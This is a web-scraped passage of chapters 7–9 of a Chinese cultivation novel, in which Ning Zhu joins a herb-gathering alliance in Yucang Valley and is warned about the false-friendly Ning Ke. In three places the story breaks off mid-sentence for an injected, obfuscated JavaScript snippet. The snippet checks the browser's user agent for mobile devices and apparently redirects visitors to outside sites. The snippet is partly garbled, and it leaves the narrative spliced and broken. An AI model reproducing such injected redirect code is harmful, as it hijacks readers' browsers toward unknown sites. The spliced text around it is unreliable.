丹指的自然是炼丹堂,只收单一火元素的弟子,因此也是人最稀少的一堂。而这几年里,小辈中天赋最好的,自然属十天前唯一的火元素单灵脉,宁煌。 医则是宁家最大的业务,医药阁,主收水木属性弟子,倒是没有非要单一灵属不可,双灵属、三灵属……只要对医药有天赋、能通过药阁考核,哪怕是最斑驳的五灵属也准入。 植则为灵植院,主培养灵植供丹医二堂日常消耗,收天然与植物亲近的木土属性弟子。 三者相互相成,各有互通之处,天然连结。 而卫,是护卫队的直属部门,大名执法堂,全然挤不进这三堂的连结之中。 执法堂人数最多,以金土属性为主,但其余的也不挑,即使是在另外三堂的考核中被刷下来,也能再参与卫堂的考核,也因此,卫堂也是构成最混乱的一堂。 而宁殊,当今族长的唯一骨肉,正是金元素单灵脉。 他十二岁考核那年,碍于自身条件不在丹堂,却也没有出现在医堂植堂的考场,而是进了所有人心底排名垫底的卫堂。 如此选择惊讶了医植二堂的长老,纷纷派人来劝说,宁殊只笑笑不做回应,几次下来,长老们也只得认下这一事实,惋惜丢了一个好苗子。 但,也并非所有人都对此感觉不解与可惜,宁煌便是对此最为高兴的一个。 他与宁殊同岁,天赋相近,不可避免地总会被人一起提及,而宁殊总压他一头。 修炼比他快,悟性比他高,似乎只要宁殊参与了的,事事都能拿第一。和宁殊站在一起时,所有人的眼睛总是最先看向宁殊,其次才是他。 久而久之,宁煌自然对宁殊充满了敌意。 他在丹堂里搞小团体,拉拢丹堂学子,排挤向着宁殊的人。 这也不是长老们不清楚的,但或许是想看两人能较量出什么结果来,倒是无一人叫停。 . 以上这些信息,全来自某天半夜兴致上头,拉着他唠了半个多时辰的宁辞。 当时宁竹还觉得宁辞话太密了,现在倒是在意想不到的地方用上。 宁竹摇摇头,随手摘下一颗无毒野果,又在将果子送入口时,连带着暗中取出的补气丹一并咽下。 . 郁苍谷少了魔兽的威胁,只单纯看环境因素,这几天的生存难题只有对地形地势的判断和对毒草的认知程度。 但加上人就不止于此了。 毕竟,人的恶意才是防不胜防的东西。 虽然进场时轩队没多说什么,不过结合先前宁瑞那般不做多虑地动手,显而易见,在郁苍谷内将其他人员清出场,是被默许的规则之一。 并且……依照宁瑞所说,往年进场后,宁煌会通过什么方式将小团队的人召集过去。最合理的推测是他们会刻意将对手清出场,以此来确保自己地位的稳固。而今年他没有这么做,导致宁瑞找不到人。 ——那么他今年为什么没有这么做。 宁竹嚼着野果思考。 理论上来说,宁竹和宁煌并没有什么交集,但不排除宁煌恨屋及乌,不爽宁殊的同时,把宁竹也划进了敌对的范围里。 宁竹很怕麻烦,宁竹不想有人烦他。 宁竹可以为此暂退一退。 管他宁煌是出于什么原因,又到底想做什么,找到白叶参之前,能避着他们就避着点。 不过眼下……还有另一个问题要解决。 宁竹偏转了视线,吞咽下的补气丹逐渐起效,他手中的一直未收起的长棍跟随他抬手的动作,指向旁侧的树。 “你还要跟我到几时?” 无人应答。 “从宁瑞动手的时候你就在,现在又跟了我一路,怎么,想给宁瑞报仇?” “……我没有那个兴趣。”树后终于有人出了声,少年从树后走出,神色颇有些不自然:“你……你怎么发现我的?” ……在这么安静的地方一路都搞出响动来,倒不如说发现不了比较奇怪。 宁竹心底腹诽,面上没什么神情变化,只是微微歪了下头,毫无作答的意思。 “好、好,我知道你要问什么……”对方似乎并不知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14205084|150903||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道怎么和人打交道,又是挠脸又是抓衣角,眼睛一直低垂着,全然不敢于宁竹对视,“我没有恶意……只是刚好路过,但你刚刚清了宁瑞出场,你一定会被宁煌针对的。” 他几乎把局促不安写成大字挂在脸上,声音越说越小:“宁煌,你应该也知道,他心眼很小,又是炼丹堂公认的第一,惹了他们的团伙,你一个人……单打独斗应该很难存活吧?” 宁竹眉梢一挑,不接话,等着对方完成铺垫后的转折。 对方似乎是没料到宁竹是这么难沟通的主,但话已至此,也只得硬着头皮把话说下去:“你……要不要和我们结盟?” “你们?”宁竹嘴角轻轻勾起,声里却并未沾上笑意:“都有谁,你又是谁,为什么找我?” 对方哽得都顾不上局促了,他抬起眼同宁竹视线相碰,眼里满是不可思议:“你不认识……”他话说一半又反应过来,面前这人不认识他,好像还真是正常的。 他调理自己倒是调理得快,举起自己的木牌,好让宁竹看见上边的字,嘴上不忘解释:“我是宁长青,聚气四段,属灵植院。” “我们……是拒绝了宁煌的拉拢、随即遭到了宁煌团伙排挤的。共有五人,如果你来,就是六人。” 他说着突然停顿,脸上闪过一丝尴尬,又强迫自己继续说下去:“……宁煌去年靠团伙作战、把我们这些不想抱团的,挨个都清出去了,他们的抱团行为没有被领队点名,就说明抱团是被允许的。所以,今年我们结盟,互帮互助,争取把宁煌从前三扯下来。” “我跟着你是因为……宁瑞针对你针对得莫名其妙,他只有十一岁,我不信这其中没有人授意。你不知道我,但你应该知道宁煌看少族长不顺眼吧?我猜……你和少族长走得近,应该也是遭到了宁煌的排挤。” “虽然你还未凝源,但你和宁瑞的对战证明了你有战斗能力。对我们来说,是朋友总好过是对手,更好过是敌人,你觉得呢?” 宁长青大抵很少一口气说这么多话,一时间脸颊都有些发红——说话不懂怎么换气憋的——他说完满是紧张地看着宁竹,试图从他下意识的动作里捕捉到他内心深处的回答。 但宁竹只是微微颔首:“那么,结盟有什么好处,你们准备怎么行动,又怎么确保不会有人叛变?” 宁长青被他这一串问题砸僵直了,脸上又露出纠结的神色来:“好处……信息资源共享,卷轴有隐藏信息你也知道了,我们的卷轴彼此都看过,我也可以先给你看我的。” “行动的话,你知道我们卷轴里的草药都很散吧?很多都不是同一处生长地的,真按单子上的去找,根本来不及。所以我们集中后再次分配,这样能加快找草药的速度。我们有两个灵植院、一个医药阁的,对草药都很熟,这点你不用担心。” “至于叛变……”他说着又挠了挠脸,“这点我们都没想,都是一个姓,随便拉两个出来都多少沾点亲缘的……如果不是宁煌去年突然发疯,我们也更习惯各自为战。” 他一直盯着宁竹看,眼看着宁竹露出思索的神情,随后宁竹嘴唇一张,还没出声,宁长青慌忙摆手:“再多的我不回答了啊!” 宁竹难得笑了:“不问。这些足够了。” “我是宁竹,散气九段。”他模仿宁长青之前的自我介绍:“……不属于任何一方。” 7. 同行 “不过,你暂时得先跟我走了,我们定的计划是第一天先各自踩点探索环境变化,晚上汇合重新分配。” 宁长青看宁竹终于稍微卸下了一些防备,总算松了一口气,他解释了一下当前的情况,旋即从储物手环中取出自己的卷轴,保持着安全距离直接抛给宁竹。 如果说宁竹几秒前还存有戒心,那么随着宁长青的举动,这最后的几分戒心也消失了。 但……宁竹心头闪过一丝疑惑,然而落在手中的卷轴吸引走了他的注意力,他来不及细想方才是疑惑了什么,便直接打开卷轴,然后对着上面除了草药别无他物的卷轴沉默半晌。 久到宁长青都不住地问了句:“怎么了?” 宁竹:“……我还有疑问。” 宁长青欲言又止止又欲言,最后痛苦闭眼一副豁出去的了模样:“……你问吧!” 宁竹笑了笑,眼睛却没离开过宁长青的卷轴:“隐藏信息要怎么看?” “啊,那个啊……把你的卷轴和我的卷轴贴在一起,就会浮现了。”宁长青思索了下,解释道,旋即又想起来什么,语速飞快地补充,“但最好不要现在就做,信息传递是双向的,会同时出现在两张卷轴上,如果有人抢走了我的卷轴,那么他能同时得到我和你的卷轴上的信息。” 宁竹眼也不抬,他点头示意自己明了,眼睛则一目十行地扫着卷轴内容。 ——白叶参。 或许是他出发前的祈祷起了作用,他心心念念的唯一目标,此刻赫然出现在卷轴上。 宁竹眼睛一亮,心头悬着多时的石头得以放下。 既然宁长青的卷轴上明确写了,就说明郁苍谷内必然有。——没白来。宁竹从卷轴里抬起头,随即主动向着宁长青身侧走过去。 对方已经对他表示了充足的诚意,再提防着多少有些不识好歹了。 “边走边聊?”他把卷轴递还给宁长青。 宁长青点头,随手把卷轴塞回手环中。 动作间他的手腕上骤然闪过一丝莹光,宁竹这才注意到他的手环略有不同,是制成了枝叶缠绕的模样,甚至还垂下一小片叶子样式的吊坠,在储物的瞬间闪烁着莹润柔和的绿色光彩。 灵植院的特制? 宁竹记下这一不同,没在这点细节上纠缠,在宁长青注意到他的视线之前话头一转:“我不熟郁苍谷,你接下来去哪,我跟你走。” 宁长青毫无觉察,只顺着宁竹的话往下说:“这片区域我刚走过,上边走不了,估计顶上一整块都是禁入区。我打算去隔壁的小山坡看看,那边我记得有个断崖,有些药草喜欢长在峭壁边上。” 宁竹眉梢一挑。 该说宁长青是心大还是缺心眼? 他本以为宁长青会问“宁殊没提前告诉你吗”这种问题来套话,回复的话术都已经准备好了,宁长青却直接跳过了这一环。 但多一事总归不如少一事,宁长青对他不好奇,是好事。 宁竹对他的安排无异议:“行。” 他突然又顿住了,方才脑海中一闪而过的疑问突然浮出水面,他喊住宁长青:“等下,你之前说……探索环境变化?” 宁竹在疑惑中同宁长青视线相对,少年“啊?”了一声,随即意识到他在说什么,这才回答上来:“对、对啊。郁苍谷每年的环境都有变化……不过最主要还是那些光幕,原本地可通行路线不知道被光幕堵上多少,还是得先人工确认一遍才能知道。” 他挠头:“还有一些地形上的变化,虽然没有光幕那么大范围变动,但依赖记忆也很容易出问题,就比如我刚刚说的小断崖,那下边水灵气充裕,可能今年的水灵气就消失了。” 宁竹了然。灵植的生长对环境要求极高,一点轻微的变化,都有可能导致原本的生长区域不再长出新的灵植来。 ——但,郁苍谷每年他们都来,只一年的时间,会有这么大的变化吗? 宁长青的回答非但没有让宁竹解惑,反而是冒出更多疑问来。 不过现在不适合再问了。虽然宁长青看起来并不是多疑的人,但其他人可说不定。 “时候不早了,宁竹,我们得加速……晚上就要汇合,你能跟得上吗?” 宁长青抬头眺望了下远方,随即担忧地看着他。 宁竹开始思考这半天不带点变化的天色是怎么看出来时间的。 “可以,我刚吃了补气丹。”他说道。 他没问出口,宁长青却像是看出他硬生生憋回去的疑问,主动开口解释:“时间看木牌啦,我刚刚摸了一下,你没发现。” “走吧!” 宁长青招呼宁竹跟上。 . 这家伙的确不坏。 宁竹望着只快了他一步的宁长青,心底暗想:或者说……人好得有些过分了。 宁竹跟在宁长青身后飞奔,他先前说了要快,但实际他并没有用全速,而是配合着宁竹的节奏。 人虽是在前方带路,但一旦觉察宁竹慢了下来便立刻降了速度,全程没让宁竹开口喊他,更没有对宁竹提出能否跟上的疑问。 太过单纯,太过好心,以至于宁竹开始担忧起和宁长青结盟的家伙们来。 宁长青不像是主事人,从他先前说的话能判断,宁长青也不是好争斗的主。而一个团伙里不可能都是宁长青这种好性子,少说也有一个不是善茬……那到时候就得看宁长青到底是个什么地位,能不能说上话了。 两人在林间穿行,宁长青熟路,不必像宁竹独自行动时那般小心,很快整座小山便走,眼前的树也逐渐稀疏了起来,眼前天光穿过树干,明亮得晃眼。 宁长青偏过头,他提醒宁竹:“快到山顶了。” “好。”宁竹应下,脚下的速度随之减慢。 宁长青的提醒完全是出自好心,但宁竹尚且不打算告诉他,其实自己熟悉山野环境。宁长青没什么坏心,可他身后那些宁竹还没见过面的伙伴可不好说。 就是有点对不起宁长青。 宁竹脚下灵力散去,两人冲出林间,落在崖前的空地上。视野开阔,灵气也怡人,风送来水的潮气,宁长青“唔”了一下:“水灵气还很充裕,但比去年少了一些……” 宁竹听着他的判断,皱着眉往崖前走了几步。 他刚一落地就注意到了,从这里能看到不少光幕,而他随着他往前,站在崖边,下方的环境便一览无遗:郁郁葱葱的植被覆盖了大部分地表,而突兀的光幕蛮横地圈下领域。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14205085|150903||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>……郁苍谷内的禁入区也太多了。 “宁竹?”宁长青注意到他,“小心点,别掉下去了。” 宁竹指了指远方:“那好像有个湖?” “哎,哪里?”宁长青凑了过来,顺着宁竹指的方向看过去,那距离实在有些远,宁长青眯起眼也只能看见一闪一闪的光点,的确像水面涌动时的反射,“我看不太清,先记起来,晚点看有没有人去过那边。” 他这轮拿到的卷轴有着不少喜水的药草,而有湖水的地方,水灵气自然也更浓郁。 宁长青拿起木牌,往里注入灵气,表面上看木牌没有任何变化,紧接着宁竹看到,宁长青原本有些紧绷的肩膀突然一松。 他回望向宁竹:“有点晚,来不及在天黑之前赶到了。” “天黑?”宁竹沉默片刻,指了指从进来到现在半点没变化的大亮天色,“这天还会变吗?” “会。” 似乎是为了响应宁长青的话语,他尾音还未落下,天空瞬间熄灭,黑暗笼罩着整个郁苍谷。 宁竹寒毛瞬时炸立,他的眼睛没法在短时间就适应黑暗,近乎视觉剥夺的感受碾压着他的神经,逼迫他寻求光亮,但宁竹只是握紧了拳头。 生理本能被理智裹挟着摁住的感觉并不好受,他强忍着点火的冲动。 “吓到了吗?”就站在自己对面的宁长青笑起来,他手一翻,一颗照明珠便浮在两人之间,微弱的光亮也足以驱散突然之间上涌的不安,“我第一次来的时候也吓了一跳。现在我们站在空地上还好,我当时在林子里,吓得一头撞在树上,差点没哭出来。” “……昼夜变化也太突然了。” “是啊,虽然我来过好几次了,但要是没注意时间,还是会被这变化吓到。”宁长青点头,和宁竹一起谴责这毫无预警的变化,“哎,你一次来,应该没带照明用具吧?” 宁竹:…… 宁殊塞过来的包里有。但宁竹嫌占空间,只把药和补气丹带上了。 他错了,他应该全部塞进来的。 宁竹实诚地摇了摇头,面前的宁长青露出“我就知道”的表情,嘴唇抿得极紧,也没能压下上翘的唇角。 “咳、咳……那个,我带了好几个,分你一个吧。” 他说着把面前漂浮着的照明珠往宁竹方向递了递,宁竹不客气地接过,宁长青随即又从手环里翻出来另一个。 两颗照明珠静静地悬在两人身侧,宁长青指了指悬崖下方:“我们约定好的汇合地是下面的山洞,我找到你之前,有拔了不少藤蔓,从这儿直接下去,你可以吗?” “没问题。” 宁长青找的藤蔓很结实,一头捆在树上,另一头绑在人身上,缓慢下降。 如宁长青所说,这块山崖并不算高,两人很快落了地,宁竹的眼睛逐渐适应了黑暗,他抬眼,不远处的山洞散发出不正常的光亮,高调地抢夺着视线。 “他们果然到了。”宁长青慢宁竹一步落地,同样注意到了那处抢眼的光亮。“走吧,我带你见见他们。” 宁长青笑着招呼宁竹,大步走在前,宁竹脚步一顿,他回头看着那根藤蔓,灵力跟随他的意识调动,一道风刃自他掌中挥舞而出,割断了崖上收不回的藤蔓。 8. 分配 虽然来时宁竹就给自己做好了心理准备,但—— “真不知道那家伙今年抽什么风,什么热闹都来凑了,哈!说不定今年第一个被清出场的就是他了。” 自山洞里传出来的男声似乎是气急了没收住音量,而话里所指的对象显而易见。 “你少说两句吧,老提他干嘛?又不能给帮我们什么,对吧老大。” 女声敷衍地回应了句,试图把话题拐出去。 男声却不想轻易绕出这个话题,他“嘁”了一声,语气不忿:“你没看他一天到晚顶着那张死人脸吗?什么态度!我们家欠他了?要不是宁殊处处护着,早有人教他怎么做人做事了!” “你要看他这么不爽,升学考你‘邀’他切磋呗,反正看他现在这个凑热闹的劲,说不定升学考也来呢。” 她说着顿了顿,语气不屑地嘲笑:“就是不知道被第一个清出场,后面还敢不敢来丢人显眼。” “好了。”山洞里第三个人出了声,“都这么晚了,宁长青还没到……” 先前声讨宁竹的男声没等对方把话说完,语气讨好地抢过话头:“搞不好那个被出局的就是宁长青呢!老大,要不我们别等他了。” . 宁竹偏过头看向身侧脸色骤变的宁长青,没忍住低笑了一声。 白天他和宁长青第一次见面的时候,宁长青说——“随便拉两个出来都沾点亲缘,没必要想叛变这种事”。 但眼下显然并不如宁长青所言那般。 宁竹紧紧盯着身侧少年的脸:“看来这个小团伙,也没你说的那么紧密相连?” 白天同宁竹同行时便一直是笑着的宁长青,此刻脸上已经挂不住了笑,他眼睛都睁大了,或许是在怀疑自己的耳朵。 但一切都是真的。 宁竹也听到了。 “……抱歉。” 宁长青张了张口,说出来的第一句话居然是道歉。 宁竹有些意外。 “你……你要离开吗?”宁长青不自然地转过了头,他同宁竹的双眼相对,于是宁竹清晰地捕捉到了他的僵硬与歉意,“对不起……我不知道他们背后会这样说。” ——不像演的。 宁竹弯了弯唇角:“不。” “好……诶、什么?” 宁竹的回答跳出了宁长青的预估,他下意识地回答顿时卡在嘴里,还差点咬到自己的舌头。 “我说,不。”宁竹把手放在宁长青肩上,稍稍用力一带便让宁长青往前了一步,形成宁长青在前带路的姿态,“我会当做没听见。你也是。我们,什么都没听见。” 宁长青不明所以,他的嘴唇几次张开了,最终一句话也没说出来。 “……再等等呢?”洞里又冒出第四个声音,女生语气里带着明显的不满,“长青好歹也有聚气四段,哪有那么容易被清出去!说不定是路上有什么事耽误了,再等等他吧,万一是发现什么了呢?” “走。” 这话说得正和宁竹心意,他低声说着,小力推了一下宁长青示意他往前走。 完全状况外的宁长青稀里糊涂地走进去了。 “长青!” 原先维护宁长青的少女第一个惊呼出声,她还没来得及起身相迎,后宁长青一步的宁竹便入了山洞里,同她视线相对时清晰地捕捉到了她脸上的愕然。 洞里的所有人似乎都很意外宁竹这个不速之客,或警惕或不解地看着他,倒也方便了宁竹观察。 护着宁长青的女生只单独一人站着,明显是被另一侧的三人排挤了。她扎着长辫,手上戴着和宁长青样式相近的手环,只少了一片叶子形状的吊坠。 宁长青之前邀请他的时候说有两个灵植院的,大抵另一个就是她了。 而另外一男一女站在洞穴另一侧,男生个子高挑,大概是前不久才说了宁竹的坏话,此时面对正主,脸上警惕之余还有几分不敢同宁竹对视的心虚。 女生脸上更多的便是茫然了。她的视线大大方方地在宁长青和宁竹身上来回扫过,只是眼底的探究看得宁长青都不自然地紧绷。 “宁长青,你不解释下吗?”女生率先发问,打破这突如其来的安静,“我可不记得老大有邀请他。” 宁长青皱了皱眉:“宁轲是没有邀请,但我不能邀请吗。” “嘁,”男生撇了撇嘴,“没说不行啊,但你邀请个这么弱的干嘛?你嫌宁煌还不够麻烦啊,居然还找了个拖后腿的。” 宁长青狠狠瞪他。 ——看得出来,宁长青不擅长吵架。 宁竹心头低笑一声,他面色不改,只缓缓把视线移到他二人身后坐着的少年身上。似乎是感觉到了宁竹的目光,他嘴角轻轻一牵,露出似乎很是和善的笑。 “好了,小鲤,别这么说,长青可能是有什么自己的想法吧。” 他缓缓站起身,拍了拍身前对着宁竹倾泻恶意的男生,又转头同宁竹笑了笑,那笑让宁竹有些熟悉——像宁殊。 但,宁殊的和善是发自真心的,他可不是。 他唇角上扬着,眼角的肌肉却没有半点变化,皮笑肉不笑的模样像极了一张虚伪的面具。 “我是宁轲。属医药阁。”他说着指了下左右两侧站着的形似护法的一男一女,“女生是宁巫。男生叫宁鲤。哦对,小鲤没恶意的,就是有时候说话比较急,你不要介意。” “我是宁兰之……聚气三段,属灵植院。” 长辫女生同样进行简短的自我介绍,只是她报了名字就停顿了一下,随即才多报了个等级出来——宁长青也是这么自我介绍的。 而对面那三人,谁都没有主动提及自己的等级。 宁竹已然对在场的人有了大致的判断,他微微扬了下巴,就当示意自己听见了。“宁竹。”他的介绍比所有人都要简单。 “既然人已经到齐了,嗯,长青,你不打算解释下吗?” 宁轲很是自然地把自己放到了主导的位置,虽是平视,可说话的语气却是居高临下,似乎正站在高处俯瞰着其他人。 宁长青小声咕哝了句“有什么好解释的”,他往宁兰之旁边走去,又招呼宁竹跟上,模样紧张得像他一个不留神宁竹就要被欺负了似的。 “……反正我想着多一个人多一份力,何况宁煌他们的小团体人更多吧,而且我看宁竹也很熟悉郁苍谷的样子,就邀请他了。” 宁长青性子直爽全然没有心机,也并非完全没有心眼,眼下明显有人不满宁竹,他却也没把今天第一个被淘汰者是宁竹做的这件事说出来,以证实自己选人的眼光,明摆着在给宁竹留 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“啊,我和宁殊同岁,宁殊平时都叫你小竹,我和他一样这么叫你,你应该不介意吧?” 宁竹笑了笑,没说话,只是看向了宁长青。 宁长青说:“要给也是给我。你那边都整合完了?” “嗯,等你的时候都整理完了。”宁轲被拒绝了也没说什么,只看着宁长青从另外两人手中接过卷轴。 三张卷轴就这么在所有人面前打开,而后重叠,微弱的萤光抚过卷轴表面,昭示着信息的同步完成,旋即宁长青高速做起来记录。 药草知识对丹医植三大院来说都是基础功,不一会儿这些信息就被整合完成,随着宁长青灵力的操纵,另外两张卷轴回到各自的手上,而他自己的飘向了宁轲。 宁轲二话没说,同样展开卷轴重叠,信息交换完成。 “今年的草药分布得还算集中,不过,大概得分成三个方向了。”宁轲把卷轴抛还给宁长青,随即对着双方整合好的草药信息做了二次整理,大抵分出数量相近的三份出来,“水边,山崖和谷道,唔,还有林间。” “长青,你是灵植院的更熟悉相近植物的分辨,你去林子里的吧?” 他三言两语就开始了分配。 宁长青看他一眼:“可以,不过我要宁竹跟我走。兰之和宁巫都是女生,她俩走一道。” 如果不是这些人对着宁竹全然懒得遮盖恶意,宁长青还真没有争话语权的想法,但现在……谁爱忍谁忍。 宁轲思索了下:“不,长青你不擅长打架,万一遇到宁煌就麻烦了,小鲤跟你走一道吧。” “……你别太过分了。” 宁长青深深呼出一口气,周遭的灵气似乎开始聚拢,少年垂下的发丝无风自动,轻轻飘摇着,带着某种警告的意味。 宁竹却突然拍了他一下。 “那我呢?” 他说了进入这山洞里后的第二句话。 “嗯……”宁轲状做思考,片刻后,他又露出了那形似宁殊的笑容,“小竹的话,跟我走吧,我比宁长青等级还高一些,也擅长作战,真遇上了宁煌,我也能保护你。” 宁竹又看了宁长青一眼,唇角一勾,笑得意味深长:“我没意见。” 9.提醒 分配好各自的搭档和要找寻的草药之后,剩下的便也没什么值得讨论了。 山洞里一片安静,对于修者来说,在郁苍谷这样灵气浓郁的地方,睡眠反而是一种浪费,不多时宁轲和宁巫便是打起坐来,吸纳着天地灵气,宁鲤则随意地靠着山壁坐下,视线有意无意地扫过对面。 说着是守夜,实际上和监视也没什么两样了。 宁长青看都不看他一眼,只从手环里取出一点干粮递给宁竹,此时他才反应过来想问宁竹为什么要留下,可对面宁鲤的注意力一直放在他身上,他稍微挪动一下身子,宁鲤都警惕地看了过来。 真和宁竹说点什么,不用天亮宁轲就会知道。 宁长青憋屈地盘起腿,狠狠撕咬了一口饼子。 他怕说错话,宁兰之倒是没这种顾虑。 她熟悉宁长青,她相信宁长青必然是听到什么,才会在刚才表现得如此尖利,若非如此,以宁长青那无所谓的性子,定不会这么着急和宁轲争。 她看了会儿宁长青的表现,接着便往宁竹旁边凑过去坐下了。 “不休息会儿吗?”她说,“修炼也行,郁苍谷灵气浓郁,是很不错的修炼宝地。” “还早。”宁竹不太习惯和别人的近距离接触,没忍住往边上侧了侧身子,他朝宁兰之展示了下手里的清单:“先看看。” 宁兰之眼睛一亮,她凑得更近些了,一只手撑在宁竹身后,另一只手探了过来:“有什么需要我帮忙吗?” 她无辜地眨了眨眼,宁竹却感觉到她的手放在自己背上,稍用了些力扯住了他,宁竹便自然地调整了下姿势,他侧过卷轴,做出好让宁兰之看清的姿态。 “这个,标了星的是什么?” 宁竹随便找话,身侧的少女还未作答,另一边的宁鲤“嗤”一声不做掩饰地笑了,宁长青狠狠瞪过去时,宁鲤又状作无辜地耸肩,唇角挂着的轻蔑没有半分掩盖的意图。 宁兰之顾不上给宁鲤眼神,或许是分不清宁竹是真不知道还是随口配合她,她略有些诧异,但还是轻声解释了:“灵植,标了星号的都是灵植,获取难度更高,但积分也多,是普通草药的十倍。” 少女一边说着,放在宁竹身后的手也跟着动了。 宁竹的感知随着她的手指划动的方向逐一勾勒,最终在脑海里形成几个大字。 小心宁轲。 宁竹转过视线同她对视,把话题延续下去:“怎么个难法?” 宁兰之清晰地看到了他的眼。那双眼里没有任何的疑问,相反,那双眼毫无涟漪,如一潭不见底的池水。 他问的是——为什么需要小心宁轲? “灵植具备灵力,也就代表拥有攻击能力,但低阶灵植不具备智识,会攻击生长范围内所有让它感觉到有威胁的生物,而且其根系也会侵略旁侧其他植物的根系,不仅夺取其养分供养自身,还会借由被强行链接的植物来扩大感知范围,一旦根系范围内有植物被采摘,便会立刻隐藏自己的灵力波动,等着给靠近的生物致命一击。” 她说完顿了顿,出于对宁竹的不信任及担忧,她还是补充道:“当然了,并非所有灵植都是如此,我说的是你分到的这个。” “行。” 宁竹点头表示自己理解——话里话外都听明白了。 炼丹堂的宁煌是他们结盟的引子,此人性格蛮横霸道,行事风格更像圈住了地盘就容不得他者的兽类;而这医药阁的宁轲也不是什么善茬,他的行事风格如同灵植,表面与寻常植株无异,看似无害,实则侵略性十足。 宁兰之所言没有和宁竹的认知产生太大出入,但宁竹手里分到的灵植多长在悬崖峭壁,和宁兰之说的没有半点关联。 她这是在提醒宁竹,跟宁轲走一道的时候小心点,别被他看似和善的表现骗了过去,什么时候被利用了都不知道。 宁兰之只是因为相信宁长青才来说这些,并不知道宁竹对宁轲已经有了一个大致的判断,但无论缘由,这份好意宁竹记下了。 . “对了,轩队讲规则的时候没说,那我提醒你一下,”宁兰之起身要走,突然又想起什么,她站定了看过来,“摘了清单上没有的草药是要额外扣分的,扣的积分比找到正确草药所加的分还多,所以,要是不确定就别碰了,宁缺毋滥。” 她的视线轻轻偏移了,落在另一侧那三人身上,眼神里带着明显的警告意味:“万一要是拿负分了,可就没资格再进郁苍谷了。” 宁竹:…… 这么重要的规则怎么还是有人突然想起来才告诉他的?! 宁竹沉默地想了想自己白天薅草药时的那个利落劲。 宁竹努力地回忆了一下到底有多少草药是卷轴上有的。 宁竹觉得还是现在就出去挖个洞把薅来的草药全部埋了滋养大地更方便一些。 他低头揉了揉太阳穴,嘴上和应着宁兰之的警告:“我会注意的”。 宁兰之满意地回去打坐修炼了。 郁苍谷白日不见太阳,夜晚也不见月亮,山洞外夜色漆黑如墨,教人无法分辨时辰。 宁竹拿木牌看了一眼时间,夜还很长,他盘膝而坐,闭上眼,浓郁的灵气自然被灵脉牵引着靠近,只要宁竹一个意念,这些聚拢过来的灵气将被灵脉一一炼化。 宁竹缓缓呼出一口浊气,他按捺下躁动的灵脉,在修炼和守夜之间选择了—— 入睡。 . 正如夜晚降临得突然,郁苍谷的白日也来得毫无预兆。 宁竹按着生物钟醒来时外头还是一片漆黑,他刚拿出木牌,旋即眼前骤然炸开一片光亮,刺得双目灼痛,即便在光亮起的同一瞬闭了眼,视线里依旧残留着大片斑驳的白影。 宁竹不适地皱起眉头,他刚要调动灵力,眼上骤然一凉,被强光刺激得发疼的双眼热意逐渐消退,他睁开眼,站在宁长青身侧的宁兰之便撤去了落在他眼上的水灵力。 “昼夜翻转的时间不固定。”宁兰之说。 宁竹便把木牌放回去了。 没防备这一下的倒霉蛋也不止宁竹,对面守了一夜的宁鲤一个晃神没注意时间,也被骤变的环境爆闪了眼。 “嘶——好疼,”宁鲤捂着眼睛抱怨出声,“这木牌都能显示时间了,就不能再升级一下,给昼夜变更的时间打个注吗……” “都进来过这么多次了,还没学会防着点啊?”宁巫同样受不了,但她稍好一些,在天亮的一瞬拿灵力盖了眼,好歹是没被直接闪到。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14223816|150903||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “老大!老大救救救救——” 宁鲤干脆无视宁巫,转头找宁轲哀嚎去了。 宁轲笑了笑,水灵力随着他的指引盖在了宁鲤的眼睛上,随即少年睁开眼,看向宁轲的眼里钦慕之色更盛了几分。 ——真虚伪啊。 宁竹在心头再次肯定道。 他与宁兰之并不算熟,而宁兰之第一时间注意到了他,根本没等他主动开口便无声息地帮了;宁轲反之,分明宁鲤和宁巫都是他的跟班,他却是对着二人的抱怨无动于衷,直到宁鲤求助,他才动了这个手。 “需要帮忙吗?小竹。”他帮完了宁鲤才转过头,似乎完全没看见宁兰之方才的行动。 “好啊。”宁竹睁着眼睛看他。 宁轲:…… 宁轲敷衍地用水灵力扫了一下宁竹的眼。 “既然天已经亮了,那我们就按昨天的分配分头行动吧。”他看向宁长青,身侧的两人便也自觉走向各自的搭档,宁轲依旧端着形似宁殊的笑,对着宁竹招呼,“走吧,小竹,我们的路程比他们远,你要是累了随时可以告诉,停下歇会儿不碍事。” 宁鲤“啧”的一声:“老大……” “不必。”宁竹打断了宁鲤又要开始发作的话,他抬步向宁轲身边走去,“宁殊哥给了我不少补气丹,赶路而已,用不着休息。” 周围空气明显凝滞了一息,宁轲率先反应过来,他点头,走在前头:“那好,就先这样吧,路上有什么新情况再说。” 